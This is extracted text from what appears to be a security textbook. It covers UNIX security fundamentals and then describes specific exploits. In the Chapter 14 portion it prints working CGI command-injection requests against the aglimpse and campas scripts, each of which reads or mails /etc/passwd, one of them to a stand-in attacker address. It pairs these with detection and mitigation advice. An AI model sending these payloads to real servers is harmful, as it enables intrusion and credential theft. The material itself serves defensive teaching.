• Nu S-Au Găsit Rezultate

Sample Scripts

N/A
N/A
Protected

Academic year: 2022

Share "Sample Scripts "

Copied!
35
0
0

Text complet

(1)

IN THIS CHAPTER, WE COVER THE KEY ASPECTS of UNIX that are needed to understand the specific exploits discussed in Chapter 14, “Specific Exploits for UNIX”. Because there are so many different variants of UNIX, and new versions are coming out fairly regularly, we will try to stay as general as possible, however in some cases, the information will be true only for certain variants.

Because UNIX operating systems have been around for a while, they have been tested over a fairly long period of time. In some cases, this means the system is fairly stable from a functionality standpoint, but from a security standpoint, there could still be hidden vulnerabilities. Remember, software can exist for a long time, but because no one every tested it from a “what if ” standpoint, there are security vulnerabilities that everyone overlooked. In this chapter, we look at various aspects of the operating system to prepare you for Chapter 14.

Linux

Some variants of UNIX, such as Solaris and BSD, have been around for a long time and are fairly stable. This does not mean they are truly secure, it just means that several security vulnerabilities have been identified and fixed. It also does not mean that new security vulnerabilities will not be discovered, it just means a large number of vulnerabilities have already been found. On the other hand, there are some newer versions of UNIX operating systems called Linux.

Linux has been around for a much shorter period of time, and therefore, a large number of vulnerabilities are still being discovered. Most of the vulnerabilities being discovered are for variants of Linux. The main reason for this is because these operating systems are fairly new, so they have not been sufficiently tested. Also, most of the other variants of UNIX were tested over a longer period of time when the Internet was not nearly as popular as it is today. This means vulnerabilities were slowly discovered and fixed. Now the Internet is very popular, and everyone is using Linux because it is powerful and inexpensive, so the number of people beating on the system is very high. Therefore, the number of vulnerabilities being discovered are increasing at a tremendous rate. Also, the patches to the vulnerabilities are usually released much faster due to the increased number of people working on Linux.

Based on these facts, a lot of attackers are targeting Linux systems. A large number of the systems compromised last year due to the DDOS attacks were Linux systems. Because Linux is inexpensive, a lot of people setup test systems and do not properly secure them; and because

attackers know Linux has a high number of vulnerabilities, there are many systems that can be compromised. So, if you are running a Linux system, you should properly secure it and apply the latest patches before you connect it to the Internet because attackers will target a weak system.

Vulnerable Areas of UNIX

Vulnerabilities can exist in any piece of software, and the type of exploit can vary greatly. Therefore, in this section, when we look at vulnerable areas of UNIX, we are looking at the areas where most vulnerabilities are found, not all vulnerabilities. If a company is aware of the high-risk areas, it can look more closely at those areas before actually deploying a mission-critical UNIX system. The following are the key areas a company should concentrate on to have a secure UNIX system:

x Sample scripts x Extraneous software x Open ports

x Unpatched systems

(2)

Sample Scripts

In many cases, when UNIX applications are installed on a server, they are installed with sample scripts. This is because most UNIX systems have compilers, so scripts can be installed and used by the administrators. The main reason applications are installed with sample scripts is to help get people up and running with a piece of software as soon as possible. The logic is this: If a software development company gives you sample scripts, its software will help you get up and running in a quicker time frame.

Unfortunately, most companies do not use the sample scripts, and in a lot of cases, they do not even realize that they are installed on their systems.

The worse scenario is this: A potential vulnerable script exists on a system and a company does not even know about it. This is why it is so critical that a company truly knows its system.

Any software could potentially have security vulnerabilities, but by following rigorous coding practices, and with proper error checking and detail testing, a company can minimize the number of potential security issues. Because a lot of code is developed on very short schedules, there are often cases where proper error checking is not performed in the code, and testing is done very quickly. This is one of the main reasons there is a high number of vulnerabilities. To make matters worse, sample scripts are usually developed on the fly, to prove functionality, but they have no security. Also, in most cases, sample scripts are not even tested because they are not viewed as part of the software application. The problem is that they might not be a mission-critical piece of the software application, however, if they are installed on a server, they could be used to open up a security hole, so they either must be tested and coded properly or

removed from the system.

Web servers are an area where a lot of sample scripts are usually found.

This is the case because web servers have so many features, and a common way to demonstrate these features is by providing sample scripts, which a developer can use as a baseline to develop a high-tech web site. To make matters worse, most web servers reside on UNIX servers that are directly accessible from the Internet. This means that not only is a company unknowingly installing a potentially vulnerable script on its system, but it is directly accessible from the Internet, so anyone in the world can compromise the server.

Protecting Against Sample Scripts

The best way to protect against the vulnerability presented by sample scripts is to removed them from the system if they are not needed.

Unfortunately, in a lot of cases, companies do not even realize the scripts are on their systems, which makes it much harder to remove them. How can you remove something you do not know about? In this case, truly

knowing your system and implementing a principle of least privilege can help provide maximum security to your network. To have a secure system, the administrator must truly know the system—not just what is running on the system, but what is installed on the system. Knowing what is installed on the system can help eliminate these types of threats.

A company always wants several mechanisms in place protecting a system. Instituting a policy of defense in depth, and not relying on any one single measure, helps increase security. So, if one mechanism is not working properly, a second mechanism is in place to back it up. In cases where an administrator does not know everything running on the system, having a principle of least privilege minimizes the damage that can be done to the system. The principle of least privilege states that an entity should be given the least amount of access needed to do its job and nothing else.

In this situation, there are actually two aspects to the principle of least privilege. First, if the web server and all other applications are running with the least amount of access needed, then even if an attacker can compromise a sample script, he will only be able to do a minimal amount of damage because the script runs with the same permission as the server. On the other hand, if the web server is running as root, then if an attacker compromises a sample script, he will gain root access. The second aspect of least privilege is from a server standpoint. If the server is installed with the least amount of software needed for the server to function, then it minimizes what an attacker can do. Most sample web scripts are Perl-based, which means a Perl interpreter must be installed on the system. If the system is installed with the minimal amount of

software, and Perl is removed from the system, then even if the sample script exists on the system, the attacker will not be able to run it.

Having multiple mechanisms of protection can help lead to a secure server. Another aspect similar to sample scripts is extraneous software.

Extraneous Software

Just like sample scripts, extraneous software can lead to an increase in security vulnerabilities. A good way to look at it is this: Any piece of software has the potential to contain security vulnerabilities. The more software that exists on the system, the more potential pieces of vulnerable software. Therefore, any extraneous software must be removed from the server.

Compilers and interpreters are a key piece of software that is usually extraneous. Sometimes when a server is installed, a lot of extraneous software (including compilers, and FTP and sendmail servers) is

automatically installed on the system. Compilers represent a risk because

(3)

they enable attackers to upload additional tools and compile them on the fly. If a UNIX system does not contain compilers, then an attacker needs to have a similar UNIX system, and then pre-compile the scripts and upload the binary. As you can imagine, this is harder to do.

Protecting Against Extraneous Software

The best way to protect against extraneous scripts is to follow the same guidelines covered in the section, “Protecting Against Sample Scripts.” By implementing a principle of least privilege, and truly knowing your system, you can help improve the security of your site and minimize the potential harm that extraneous software can cause to a system or network.

Open Ports

Because most UNIX systems are set up as servers and are accessible from the Internet, security is a major concern. A common way to exploit a system is to connect to a port and compromise the underlying service.

With a default installation of most versions of UNIX, including Linux, there is a high number of ports that are open by default. Therefore, the more ports that are open, the higher the chance of compromise.

Protecting Against Open Ports

The best way to protect against open ports is to figure out which ports are needed for the system to function properly, and close the rest of the ports. Also, the underlying services that run on those unneeded ports should be removed from the system. If an administrator just closes the ports, then it is easy for an attacker to compromise the system, and open the ports. Because the service is still installed, the port would function properly. On the other hand, if the administrator not only closes the ports, but removes the underlying software, then even if an attacker opens up the ports, he would need to reinstall all the software to get the service to run. The more secure a company makes a system, and the harder it makes it for an attacker, the better off it is.

Unpatched Systems

As we have stated, there are a lot of known vulnerabilities for UNIX systems, but there are also a lot of patches to fix those vulnerabilities. If there is a patch for a vulnerability, then it means it has been out for a while, and the exploit is fairly well-known. This means attackers know about the attack, and they are using it to compromise systems worldwide.

If attackers know about a vulnerability, then it is key that administrators patch the hole as soon as possible. A company must religiously test and apply patches on a regular basis.

Protecting Against Unpatched Systems

Because vulnerabilities are discovered everyday, this means patches are constantly being released. To make sure these patches are applied consistently, procedures must be put in place to check for new patches on a regular basis, test them, and apply them to production systems. It is key that patches are tested on a non-production system before being rolled out. In most cases, patches are tested by the vendor on default installations, but because most companies are running a range of applications, it is critical that a company test the patch to make sure nothing breaks

UNIX Fundamentals

Now that we have covered some common ways that UNIX systems are compromised, let’s cover some key fundamentals of UNIX. These concepts are needed not only to understand specific UNIX exploits, but to

understand how to protect a site. The following are the areas that are covered:

x key commands x file permissions x inetd

x netstat x tripwire x TCP wrappers x lsof

x suid

It is important to point out that some of these items listed are not part of the native UNIX operating system; they are add-on programs. Because the add-ons are integral to securing a UNIX system and are loaded on most UNIX systems, they are included in this section. Some of these programs, such as tripwire and TCP wrappers, help provide a defense in depth posture for securing a UNIX system, and it is critical for any security professional to understand them, and therefore, they are included in the

“UNIX Fundamentals” section.

Key Commands

The following are some basic UNIX commands that are needed to have a secure UNIX system. These command range from things a system administrator does to know his system, which is a key principle of

security, to things he runs to alert himself of a potential security problem.

If you are responsible for securing a UNIX system, at a minimum you must be familiar with these commands or tools:

(4)

x ls—Used to list files

x ls –l—Used to list files with permissions x cp—Used to copy a file

x mv—Used to move a file

x chmod—Used to change permissions on a file x ps—Used to show a list of running processes

x ifconfig—Used to list information on the network interfaces x find—Used to search for information on a system

x grep—Searches for files or patterns x more—Lists the content of a file x diff—Used to compare two files

x df—Shows which file systems are mounted

File Permissions

File permissions are used to control access to resources. By properly setting file permissions, you limit who can access what information. If file permissions are not correctly set, then anyone who gains access to the system can do whatever he wants on the system. As you can see, proper file permissions go a long way to properly securing a UNIX system.

Let’s briefly look at security permissions in UNIX. To get an output of files and their associated permissions, you type ls –l

cs% ls -l

drwxr-xr-x 2 colee staff 512 Aug 28 1999 HTML -rw-rw-rw- 1 colee staff 18 Aug 28 1999 INDEX.HTM

drwxr-xr-x 3 colee staff 512 Aug 17 1999 crack -rw-r--r-- 1 colee staff 129 Sep 9 1999 first.cpp

-rwxr-xr-x 1 colee staff 666628 Sep 9 1999 first.exe

drwxr-xr-x 2 colee staff 512 Aug 28 1999 html -rw-rw-rw- 1 colee staff 18 Aug 28 1999 index.bk

-rw-rw-rw- 1 colee staff 7342 Dec 21 1999 index.htm

-rw-r--r-- 1 colee staff 7342 Dec 21 1999 index.html

-rw-r--r-- 1 colee staff 139 Aug 17 1999 local.cshrc

-rw-r--r-- 1 colee staff 124 Aug 17 1999 local.cshrc.bk

-rw-r--r-- 1 colee staff 575 Jul 13 1999 local.login

-rw-r--r-- 1 colee staff 575 Aug 17 1999 local.login.bk

-rw-r--r-- 1 colee staff 575 Aug 17 1999 local.profile

drwxrwxrwx 2 colee staff 512 Sep 9 1999 newfile -rw-rw-rw- 1 colee staff 1722 Oct 1 1999

prog1.cpp

-rw-rw-rw- 1 colee staff 2846 Sep 23 1999 project1.cpp

drwxrwxrwx 5 colee staff 1024 May 3 2000 public_html

drwxr-xr-x 2 colee staff 512 Oct 25 1999 tmp Each line contains the information for one file or directory. On the left side of each line, there are 10 characters that look something like the

following:drwxr-xr-x. If the name is a directory, then the first character isd, and if the name is a file, the character is –. The next nine characters are broken up into 3 groups of 3 characters. The first 3 characters refer to the permissions for the owner of the file. The next 3 characters refer to the permissions for the group to which the owner belongs. The last 3 characters refer to the permissions for everyone else. Within each group, the first character can either be an r, if the entity has read permission, and– if it does not have read permission. The second character is w, if the entity has write permission, and – if it does not have write permission.

The third character is an x, if the entity has execute permission, and – if it does not have execute permission. The following are some sample permissions and the corresponding access:

x rwxrwxrwx—Everyone has full access to the file.

x rwx---—The owner has read, write, and execute access, and everyone else has no access.

x rwxrw-r--—The owner has read, write, and execute permissions, the group to which the owner belongs has read and write

permissions, and everyone else has read access.

This gives you an idea of how to read permissions for files and directories.

Another way to display the permissions is to convert the permissions to binary. Let’s quickly review binary versus decimal. Remember, binary is a base 2 operating system, and decimal is a base 10 operating system. If we break the decimal number 210 down, the first column is the 1’s (or 100) column, the second column is the 10’s (or 101) column, and the third column is the 100’s (or 102) column. So, 210 equals (2 × 100) + (1 × 10) + (0 × 1). Another way to think of it is to remember that with decimal you get 10 numbers, 0–9, before you have to add to the next column. With binary, because it is a base 2 operating system, you only get two numbers, 0 and 1, before you have to add to the next column. The first column would be 1 (or 20), the second column would be 2 (or 2 1 ), and

(5)

the third column would be 4 (or 22), and so on. So, if we look at the binary number 100, it equals 4(1×22)+(0×21)+(0×20). A binary number of 010 equals 2, and a binary value of 110 equals 6(4 + 2).

You might be asking, “Why are we covering this?” We are covering this, so we can convert rwx to a binary value, which is used when you change or modify the permissions. The first step in the conversion is to change the three bits that make up the permissions code to 1’s and 0’s—any bit that has a value becomes a 1, and any bit that does not have a value becomes a 0. For instance, rwx becomes 111, and -w- becomes 010. After you have turned the three-bit code into a binary number, you then translate it back into a single-decimal digit—a kind of shorthand for the binary value.

Let’s look at several conversions:

x rwx = 111 = (4 + 2 + 1) = 7 x rw- = 110 = (4 + 2 + 0) = 6 x r-x = 101 = (4 + 0 + 1) = 5 x r— = 100 = (4 + 0 + 0) = 4 x -wx = 011 = (0 + 2 + 1) = 3 x -w- = 010 = (0 + 2 + 0) = 2 x —x = 001 = (0 + 0 + 1) = 1

So, for those who do not want to understand binary, an easy conversion mechanism is to take each group of three bits and start with a value of 0.

If the r bit is turned on, you add 4, if the w bit is turned on, you add 2, and if the x bit is turned on, you add 1. When you have the value for the first three-bit permissions level, you set it aside and find the value for the next level, and then the third one. You do this for each permissions level and then use the three numbers together. Through this process, the 9- character permission rwxrw-r-x becomes the 3-character code 765.

rwxrw-r-x = (111)(110)(101) = (4+2+1)(4+2+0)(4+0+1) = 7 6 5 Now, when you want to change permissions for a file, you use the chmod command with the permissions converted to binary numbers. The following shows a listing of permissions for a file and several iterations of chmod to change the permissions:

cs% ls test.txt test.txt

cs%

cs% ls -l test.txt

-rw-r--r-- 1 colee staff 5 Feb 19 02:16 test.txt cs% chmod 765 test.txt

cs% ls -l test.txt

-rwxrw-r-x 1 colee staff 5 Feb 19 02:16 test.txt

cs% chmod 777 test.txt cs% ls -l test.txt

-rwxrwxrwx 1 colee staff 5 Feb 19 02:16 test.txt To ensure your key information is properly protected, it is very important that you understand file permissions.

Inetd

To have a secure system, you must know what services are running on your system. Inetd is the process that handles Internet standard services.

It is usually started when the system boots, and it uses a configuration file to determine what services it is suppose to provide. The main

configuration file, inetd, uses /etc/inetd.conf. By going through inetd.conf, an administrator can determine what standard services are being started on the system. This file can also be edited to turn services on and off.

Therefore, in most cases, if a standard service is running, an entry exists in the inetd.conf file. So, to secure a system, it is key that you understand how inetd works and what information is stored in the file. The following is a piece of a sample inetd.conf file:

#

#ident "@(#)inetd.conf 1.27 96/09/24 SMI" /* SVr4.0 1.5

*/

#

#

# Configuration file for inetd(1M). See inetd.conf(4).

#

# To re-configure the running inetd process, edit this file, then

# send the inetd process a SIGHUP.

#

# Syntax for socket-based Internet services:

# <service_name> <socket_type> <proto> <flags> <user>

<server_pathname> <args>

#

# Syntax for TLI-based Internet services:

#

# <service_name> tli <proto> <flags> <user> <server_pathname>

<args>

#

# Ftp and telnet are standard Internet services.

#

ftp stream tcp nowait root /opt/SUNWsms/bin/smc.ftpd smc.ftpd

#telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd

(6)

telnet stream tcp nowait root /usr/sbin/tcpd in.telnetd

#

# Tnamed serves the obsolete IEN-116 name server protocol.

#

#name dgram udp wait root /usr/sbin/in.tnamed in.tnamed

name dgram udp wait root /usr/sbin/tcpd in.tnamed

#

# Shell, login, exec, comsat and talk are BSD protocols.

#

#shell stream tcp nowait root /usr/sbin/in.rshd in.rshd

shell stream tcp nowait root /usr/sbin/tcpd in.rshd

#login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind

login stream tcp nowait root /usr/sbin/tcpd in.rlogind

exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd

comsat dgram udp wait root /usr/sbin/in.comsat in.comsat

#talk dgram udp wait root /usr/sbin/in.talkd in.talkd

talk dgram udp wait root /usr/sbin/tcpd in.talkd

#

# Must run as root (to read /etc/shadow); "-n" turns off logging in utmp//wtmp.

#

uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd

As you can see, the inetd.conf file tells inetd what server to start when a system connects to a given port. The format for the file is that each server is composed of a single line, which contains the following information:

x service-name—The name of a valid service

x endpoint-type—Lists the type of stream and can be one of the following:

x stream—Stream socket x dgram—Datagram socket x raw—Raw socket

x seqpacket—Sequenced packet x tli—For all tli endpoints

x protocol—A protocol name that is listed in /etc/inet/protocols x uid—The user ID that the server will run under

x server-program—The path of the program that is going to be invoked when someone connects to a given port

x server-argument—The command-line arguments with which the server- program is going to be invoked

As you can see, inetd basically works by waiting for someone to connect to a given port. When someone connects to a port, the inetd services looks up the port in the inetd.conf file and calls the corresponding service.

Inetd works for both TCP and UDP. The following are the options for inetd:

x -d—Runs inetd in the foreground and allows debugging x -s—Runs inetd in stand alone mode

x -t—Traces incoming connections for inetd

Netstat

Netstat provides various information about the network and the local network for the computer on which it is running. One area for which netstat is commonly used is to list all active connections and open ports for a given computer. Because ports are a common way for attackers to create backdoors on systems, knowing which ports are open enables you to detect and close those ports in a timely manner. Using various command-line options, netstat can provide a wide range of information.

The following are some of the common options that can be used. For additional information, use the man pages with UNIX:

x -a—Shows all sockets and routing table entries

x -f - address—Shows statistics and information only for the address family specified

x -g—Shows multicast group membership x -m—Shows the STREAMS statistic x -n—Shows addresses as numbers

x -p—Shows the ARP (address resolution protocol) tables x -r—Shows the routing tables

x -s—Shows protocol statistics per protocol x -v—Shows additional information

x -s—Shows information for a particular interface x -M—Shows the multicast routing tables

Tripwire

If an attacker is able to compromise a system, he can install Trojan versions of the key system files, which would create backdoors into the system. This is commonly done by attackers through the use of rootkits.

Rootkits are covered in detail in Chapter 15, “Preserving Access.” To detect whether or not a key system has been modified, there needs to be

(7)

some way to take a digital signature of a file to see if it has been modified in any way. Tripwire does exactly that. It takes a cryptographic hash of a file and then at periodic intervals, it calculates a new hash. If the two hashes match, then the file has not been modified. If they are different, then there is a good chance that the system has been modified. Tripwire can be found at www.tripwire.com, and it is highly recommend that you install it on all UNIX servers.

TCP Wrappers

As the name sounds, TCP wrappers is a program that wraps itself around TCP. Normally, when a system connects to a port, inetd looks up the port and starts up the appropriate service. As you can imagine, this strategy has a minimal level of protection. So, the concept behind TCP wrappers is that when a connection is made to a port, a separate program is called that can perform checks before the real daemon is called. The program TCP wrappers is available from:

ftp://ftp.porcupine.org/pub/security/index.html

After the program is installed, all the original daemons are left in place.

The inetd.conf file is modified so each line calls the tcpd instead of the real daemon. Now, when a connection is made, tcpd is called, which performs checks before the request is passed on to the real daemon. The following are the checks that TCP wrappers performs:

x Logs all requests to the syslog facility

x Performs a double reverse lookup of the source address

x Checks the request against the /etc/hosts.allow file, and if there is a match, access is permitted.

x Checks the request against the /etc/hosts.deny and, if there is a match, access is denied.

x If the request gets past both files, then the request is permitted.

There are also more advanced checks that can be performed. Remember, to have good security, a company must enforce a posture of default deny, which states anything that is not explicitly permitted should be denied.

Otherwise, if the rules are not setup properly, and a connection passes through both files, the connection is allowed by default.

To implement a default deny posture with TCP wrappers, you specify what is allowed in the hosts.allow file, and the hosts.deny file should deny all traffic.

Lsof

After an attacker compromises a system and uploads files, he wants to try to hide these files on a system. An easy way to do this is to go in and

mark files as hidden. Another way is to create a process that opens a file and then unlinks the file, however the process continues to write to it.

Programs such as ls do not show this information, so it is hidden from the administrators.

Therefore, knowing the limitations of programs on a system is key. If an administrator trusts a program, and in reality it is not giving the user true information, then an administrator is given a false sense of security. There are a large number of tools you can use to replace standard system programs, which give you more information and provide a higher level of security. This section is meant to show you that better tools exist, however we do not cover all of them.

One such tool is lsof, which is available from Purdue University or the following site: http://www.ja.net/CERT/Software/lsof/. If you have not been to the CERIAS site run by Purdue University, you are missing out on a lot of very useful security tools. Their site is a great repository of wonderful tools and research. Lsof is a program that provides detailed information about files, including files that have been unlinked. So, now when an attacker tries to hide information, even though ls will not find it, lsof will.

Remember, knowing what tools are available and picking the right tool is key to having a secure site.

Suid

In certain circumstances, users need root access when they run certain applications. To adhere to a principle of least privilege, you do not want to give users root access just so they can run one or two programs. Instead, you need to give users someone way to run programs as root without giving them root access. An example of this is logging into the system.

When a user logs in, you want the program to be able to access the passwords, however you only want the passwords accessible by root. So, this is accomplished by letting the program run as root without giving the user root access.

The feature that implements this in UNIX is called suid. A program with suid permissions runs as root even though the user running the program does not have root access. The way this shows up is when you display the permissions, the first group of permissions has the x replaced with an s.

The following is an example:

$ls -l /usr/bin/passwd

-r-sr-xr-x 1 root bin 15613 Apr 27 1998 /usr/bin/passwd

(8)

This shows that the passwd command can be run by any user, however it runs as root. This is necessary, so that it can update the system files with the new password. It is critical for any file with suid to be carefully guarded because it is a common area that attackers go after. Ultimately, an attacker wants to gain root access to a system. One of the ways he can do this is by compromising a program running as root. If a program is running as root, and you trick it into running a command, the command will run as root. Most attackers go after these files to gain root access.

In most cases, files need to have suid privileges for the system to function properly. If possible, the number of files with suid should be minimized.

After that is done, an administrator just needs to be aware that the files exist and make sure that they are careful guarded

Summary

This chapter is meant to give an overview of the UNIX operating system, so that Chapter 14, “Specific Exploits for UNIX” makes sense. We covered some issues with the UNIX operating system, some common areas where vulnerabilities are usually found, and some general concepts. In the section, “UNIX Fundamentals” we covered some tools that can be used to help test the security of your site or even improve the security of your site. Anyone working in the security field must have a good understanding of the UNIX operating system and know what tools exist to secure a UNIX site. Why spend two weeks checking a system, when you could use a tool that can do it in 1 hour? Knowing what is available can save a company a lot of time and money. Now let’s move on to exploring UNIX exploits.

Chapter 14. Specific Exploits for UNIX

NOW THAT WE HAVE A GOOD UNDERSTANDING of UNIX from Chapter 13, “Fundamentals of UNIX,” we will cover some exploits that are specific to UNIX operating systems. Most of the exploits work against all variations of UNIX (for example, Linux, Solaris, and BSD), but there are some that only work against specific variants, and in such cases, we will clearly specify which variant is impacted. When looking at UNIX exploits, it is important to remember that most of the exploits impact applications or sample scripts that are running on the system, as opposed to inherent weaknesses in the operating system. Some argue that this is because

UNIX has been around longer or that UNIX is just a better and more robust operating system. However, I think it has to do with how the Internet was developed.

Even though the popularity of the Internet has only surfaced in the last several years, the Internet has been around for a long time. Most of the initial work was research, and most of the initial systems connected to the Internet were UNIX. Therefore, there tends to be more Internet-based applications and sample scripts for UNIX simply because there has been a much bigger development window. This also brings up a second point.

Because some of the code being used today was developed a while ago before security was a big concern, a lot of the tried and true applications and scripts have security vulnerabilities.

UNIX Exploits

Now let’s look at a variety of UNIX exploits. The following are the exploits covered in this section:

x Aglimpse x Campas x NetPR x Dtprintinfo x Sadmind x XWindows

x Solaris Catman Race Condition Vulnerability x Multiple Linux Vendor RPC.STATD Exploit

Aglimpse

Aglimpse is a CGI exploit that allows the execution of arbitrary commands.

Exploit Details

x Name: Aglimpse x Variants: None

x Operating System: UNIX and similar OSs x Protocols/Services: Port 80 HTTP

Aglimpse is a CGI script for adding functionality to web pages. CGI is a specification for interfacing executable programs with web pages. The aglimpse executable is used by an attacker to execute arbitrary commands on the victim’s server, and it can run those commands with whatever privileges the web server is running as. This does not

necessarily affect the operation of the web server or the operating system,

(9)

however it provides a pathway to carry out an attack or gather information for attacking on a different front.

Aglimpse is part of the GlimpseHTTP and WebGlimpse products.

Vulnerable versions are:

x GlimpseHTTP 2.0 and earlier x WebGlimpse 1.5 and earlier

What Is a CGI Program?

Common Gateway Interface (CGI) is a specification for interfacing server executed programs with World Wide Web (WWW) pages.

CGI programs can be anything that is executable by the server, including shell scripts and compiled programs. The CGI

specification details the interface between executable programs on the server and the method of calling them from a web page. CGI programs are called from the web client but execute programs on the server.

The client requests a web page containing a CGI program. Often this is done by filling in an HTML form. The CGI program is specified in the Uniform Resource Locator (URL) requested by the client. The web server interprets it as a call for output from an executable program.

CGI programs are often used to take input from an HTML form, process it, and return output. The client’s web browser takes the information from the form and sends it as a single line of text, which can be parsed by the CGI program.

The CGI program parses the input, passes the input to the

program for execution (for example, it queries a database), then it formulates an HTML results page. This page is sent by the web server back to the client’s browser. So, the web server executes the CGI program and returns the output to the client.

The request to execute the CGI program can come from any client who can make a request of the server. Sometimes this is limited to authenticated users, but in the vast majority of cases, the user could be anyone in the world. This means that by running CGI programs, you are allowing anyone in the world access to run a program on your system.

Because the web server actually executes the program on behalf of the user, the program runs with whatever privileges have been given to the web server. On some systems, this may be root access. Other servers may be configured to run with lesser privileges. Even if the process does not run as root, the user could execute other exploits that would give him root access. The key is for an attacker to get a foot in the door and then upgrade that access.

How the Exploit Works

(10)

The aglimpse CGI script is called through an HTTP GET method. The exploit works because the aglimpse script is too liberal in what it accepts as arguments. Unanticipated input is passed on for processing rather than getting screened out. This enables commands other than those intended to be executed.

This is a common problem with CGI programs. Often the CGI author assumes the program will be executed following the submission of a pre- designed form or by clicking a hyperlink with expected input to the script.

Unfortunately, anybody can manually type a URL in their browser or run the entire HTTP session manually using telnet and emulating the browser.

Thus, a CGI program author should never assume the input will be as expected.

By manually typing a URL, a malicious user can add escape characters and commands that will be interpreted by the operating system to carry out actions not intended by the program writer. Because the script is

expecting good input from the HTML form, it does not trap this condition, and it sends the bad input along unaltered.

Detailed Description

The aglimpse script can be fooled into running arbitrary commands by carefully constructing input that it passes on to a command interpreter. In this example, the attacker is using aglimpse to mail a copy of the

/etc/passwd file back to himself:

GET /cgi-

bin/aglimpse/80|IFS=5;CMD=5mail5badguy\@hacker.com\</etc/passw d;eval$CMD;echo

UNIX systems traditionally store encrypted versions of user passwords which, when subject to a dictionary attack, may reveal passwords of users. This is one way an attacker could use aglimpse to gather information to exploit weak passwords.

Notice the @ and < characters are escaped by preceding them with a backslash. This is a method of passing them along to the operating system without causing action in the script itself. If the script were to make sure the input was properly formatted, allowing only expected commands and rewriting the escaped characters before acting on them, it would prevent this attack from succeeding.

Figure 14.1 shows a diagram of how the CGI script requests data from the server and receives a response.

Figure 14.1. Diagram of how the aglimpse exploit works.

The attacker can create the HTTP GET request manually through telnet to the server’s web server port or by manually typing the URL in his browser.

Because the server cannot tell the difference between a browser or a telnet session to port 80, after it receives the GET request, it executes the aglimpse script with the attacker’s arguments and returns the output to the attacker. The response is unlikely to be directly useful to the attacker because the attacker’s commands do not actually cause any valid

aglimpse actions but rather are passed to the underlying operating system and executed. As seen, the attack command can be crafted to make the desired information available some other way, for example through email.

How To Use It

Using a telnet program, which comes with virtually every operating system, an attacker would connect to port 80 and launch the attack by typing the commands. The following is the output of a telnet session:

> telnet 192.168.1.1 80 Trying 192.168.1.1

Connected to somehost.com Escape character is '^]'.

GET /cgi-

bin/aglimpse/80|IFS=5;CMD=5mail5'$mail'\</etc/passwd;eval$CMD;

echo\nHTTP/1.0 server stuff ...

In this telnet session, the perpetrator has commanded aglimpse to mail the contents of the /etc/passwd file back to the perpetrator. On some UNIX systems, especially older systems, this file may contain encrypted user passwords. After the perpetrator has the encrypted downloaded passwords, he could try a dictionary attack on his own system to find weak user passwords. Even if shadow files are being used on the system, the attacker could also obtain a copy of the /etc/shadow file, merge the files together, and still run a password attack against the system.

Accessing the /etc/shadow file requires the attacker to have root access.

(11)

The aglimpse exploit could also be used to explore the system

configuration to look for vulnerabilities or to alter files owned by the user account running the web server.

Signature of the Attack

The best way to detect the aglimpse exploit is to look for execution of the aglimpse script in the web server logs. Because this attack is carried out using normal HTTP commands, monitoring network packets with a sniffer will not likely reveal the attack. The aglimpse attack in progress looks like any legitimate request of web content from the server. To detect an aglimpse attack, look at the web server logs.

Location and type of logging varies for different web servers. For Apache, look for lines containing aglimpse, several characters, then “IFS” in the access_log file. A sample command is:

# egrep -i 'aglimpse.*(\||IFS)' {ServerRoot}/logs/access_log System auditing varies widely among different operating systems and different versions of UNIX. If the actions of the user who normally runs the web server are audited, this deviation from expected behavior could indicate a CGI-based attack, such as aglimpse.

How To Protect Against It

Protecting yourself against aglimpse vulnerabilities takes several actions.

First, the web server should never be run with root access. Check your web server documentation to find out how to run the server as a user with minimal access. This user should only be able to carry out the actions and access the data needed to properly operate the web server—nothing else.

In addition, this user should not have write access to its own configuration files. This prevents an attacker from editing the configuration to start the web server as root. It also should not be able to write the files it serves.

This prevents the attacker from altering the web content being served.

Second, ensure you are using the latest version of Webglimpse, which replaces the vulnerable aglimpse script with the webglimpse script. This version has not been found to have this vulnerability. You can find it at http://webglimpse.net. If you are using GlimpseHTTP, switch to Webglimpse.

Additional Information

Additional information can be found at the following sites:

x http://www-7.cc.columbia.edu/httpd/cgi/pl/aglimpse.txt x http://www.cert.org/tech_tips/cgi_metacharacters.html x ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-

97.28.GlimpseHTTP.WebGlimpse.vuls

x http://www.cert.org/advisories/CA-97.25.CGI_metachar.html x http://www.codetalker.com/advisories/cert/vb-97_13.html x http://glimpse.cs.arizona.edu/security.html

Campas

This is a web-based exploit that enables execution of arbitrary commands on a server.

Exploit Details

x Name: Campas

x CVE number: CVE-1999-0146 x Variants: None

x Operating System: UNIX

x Protocols/Services: Port 80 HTTP

The campas executable is subject to an application-level attack, which enables the perpetrator to execute arbitrary commands on the server as the user running the web server. This does not necessarily affect the operation of the web server or the operating system, but it provides a pathway to carry out an attack or gather information for attacking on a different front.

Campas was distributed with version 1.2 of the NCSA httpd server.

How the Exploit Works

The campas script does not limit what it accepts as arguments.

Unanticipated input is passed on for processing rather than filtered out.

Exploit commands exist that can take advantage of this fact to execute commands other than those intended by the script author.

As we saw with aglimpse, this is a common problem with CGI programs.

Often the CGI author assumes the program will be executed following the submission of a pre-designed form or by clicking a hyperlink with

expected input to the script. The author trusts the HTML page to limit the possible inputs to the program. Because the script is expecting good input from the HTML form, it does not trap this condition, and it sends the bad input along unaltered.

Detailed Description

(12)

The campas script can be fooled into running arbitrary commands by carefully constructing input that it passes on to a command interpreter. In this example, the attacker is using campas to return the contents of the /etc/passwd file. UNIX systems traditionally store encrypted versions of user passwords, which when subject to a dictionary attack, may reveal passwords of users. This is one way an attacker could use campas to gather information to exploit.

%0a inserts the hexadecimal value of the ASCII line feed character into the argument list processed by the campas CGI script. An example command would be GET/cgi-bin/campas?%0acat%0a/etc/passwd%0a\n.

If the script were to make sure the input was properly formatted, allowing only expected commands and rewriting unauthorized characters before acting on them, it would prevent this attack from succeeding.

The attacker can create the HTTP GET request manually through telnet to the server’s web server port or by manually typing the URL in his browser.

Because the server cannot tell the difference between a browser or a telnet session to port 80, after it receives the GET request, it executes the campas script with the attacker’s arguments, and it returns the output to the attacker. This is shown in Figure 14.2.

Figure 14.2. Diagram of the campas exploit.

How To Use the Exploit

The following shows an example of how an attacker could use telnet to send the exploit string:

> telnet 192.168.1.1 80 Trying 192.168.1.1

Connected to somehost.com Escape character is '^]'.

GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a HTTP/1.0

<PRE>
